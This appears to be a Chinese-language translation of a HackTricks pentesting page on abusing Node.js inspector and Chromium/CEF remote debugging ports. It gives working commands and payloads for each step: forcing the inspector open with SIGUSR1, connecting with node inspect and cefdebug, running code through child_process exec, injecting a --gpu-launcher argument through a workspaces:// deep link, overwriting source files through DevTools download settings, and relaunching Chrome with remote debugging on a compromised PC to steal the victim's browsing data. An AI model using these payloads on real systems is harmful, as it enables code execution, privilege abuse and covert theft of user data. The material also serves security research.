Node inspector/CEF debug abuse

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

基本信息

从文档中获取: 当使用--inspect开关启动时,Node.js进程会监听调试客户端。默认情况下,它会在主机和端口**127.0.0.1:9229上进行监听。每个进程还会被分配一个唯一的UUID**。

检查器客户端必须知道并指定主机地址、端口和UUID才能连接。完整的URL看起来像ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e

由于调试器可以完全访问Node.js执行环境,一个恶意行为者能够连接到这个端口,可能能够代表Node.js进程执行任意代码(潜在的权限提升)。

有几种启动检查器的方式:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

当您启动一个被检查的进程时,会出现类似以下内容:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

基于CEFChromium嵌入式框架)的进程需要使用参数:--remote-debugging-port=9222来打开调试器(SSRF保护保持非常相似)。然而,它们不会授予一个NodeJS 调试会话,而是使用Chrome DevTools Protocol与浏览器通信,这是一个控制浏览器的接口,但没有直接的RCE。

当您启动一个被调试的浏览器时,会出现类似以下内容:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

浏览器、WebSockets 和同源策略

在 Web 浏览器中打开的网站可以在浏览器安全模型下进行 WebSocket 和 HTTP 请求。初始 HTTP 连接是必要的,以获取唯一的调试器会话 ID同源策略 阻止网站能够进行此 HTTP 连接。为了进一步防范DNS 重绑定攻击,Node.js 验证连接的'Host' 标头是否明确指定了IP 地址或**localhostlocalhost6**。

这些安全措施防止利用检查器通过仅发送 HTTP 请求来运行代码(这可以利用 SSRF 漏洞来完成)。

在运行中的进程中启动检查器

您可以向运行中的 nodejs 进程发送信号 SIGUSR1,使其在默认端口启动检查器。但是,请注意您需要具有足够的特权,因此这可能会授予您访问进程内部信息的特权,但不会直接提升特权。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

这在容器中非常有用,因为使用 --inspect 关闭进程并启动一个新进程不是一个选择,因为容器将随着进程被终止

连接到检查器/调试器

要连接到基于Chromium的浏览器,可以访问 chrome://inspectedge://inspect URL 以分别针对 Chrome 或 Edge。通过单击配置按钮,应确保目标主机和端口已正确列出。下图显示了一个远程代码执行(RCE)示例:

使用命令行可以连接到调试器/检查器:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

该工具https://github.com/taviso/cefdebug允许查找本地运行的检查器注入代码进入其中。

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

请注意,如果通过Chrome DevTools Protocol连接到浏览器,NodeJS RCE exploits将无法运行(您需要检查API以找到有趣的操作)。

NodeJS调试器/检查器中的RCE

如果您是来这里查找如何从Electron中的XSS获取RCE,请查看此页面。

一些常见的获得RCE的方法是当您可以连接到Node 检查器时使用类似以下内容(看起来这在连接到Chrome DevTools协议时不起作用):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

您可以在此处查看API:https://chromedevtools.github.io/devtools-protocol/ 在本节中,我将列出我发现的人们用来利用此协议的有趣内容。

通过深度链接进行参数注入

CVE-2021-38112中,犀牛安全发现基于CEF的应用程序在系统中注册了一个自定义URI(workspaces://),该URI接收完整的URI,然后使用部分构建自该URI的配置来启动基于CEF的应用程序。

发现URI参数被URL解码并用于启动CEF基本应用程序,允许用户在命令行注入标志**--gpu-launcher**并执行任意操作。

因此,一个类似的有效负载:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

覆盖文件

更改下载文件保存位置的文件夹,并下载一个文件,用你的恶意代码覆盖应用程序经常使用的源代码

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE and exfiltration

根据这篇文章: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 可以获得RCE并从theriver中泄露内部页面。

后渗透

在真实环境中,在入侵了使用Chrome/Chromium浏览器的用户PC后,您可以启动一个带有调试功能并进行端口转发的Chrome进程,以便访问它。这样,您将能够检查受害者在Chrome中的所有操作并窃取敏感信息

隐秘的方法是终止每个Chrome进程,然后调用类似以下内容:

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于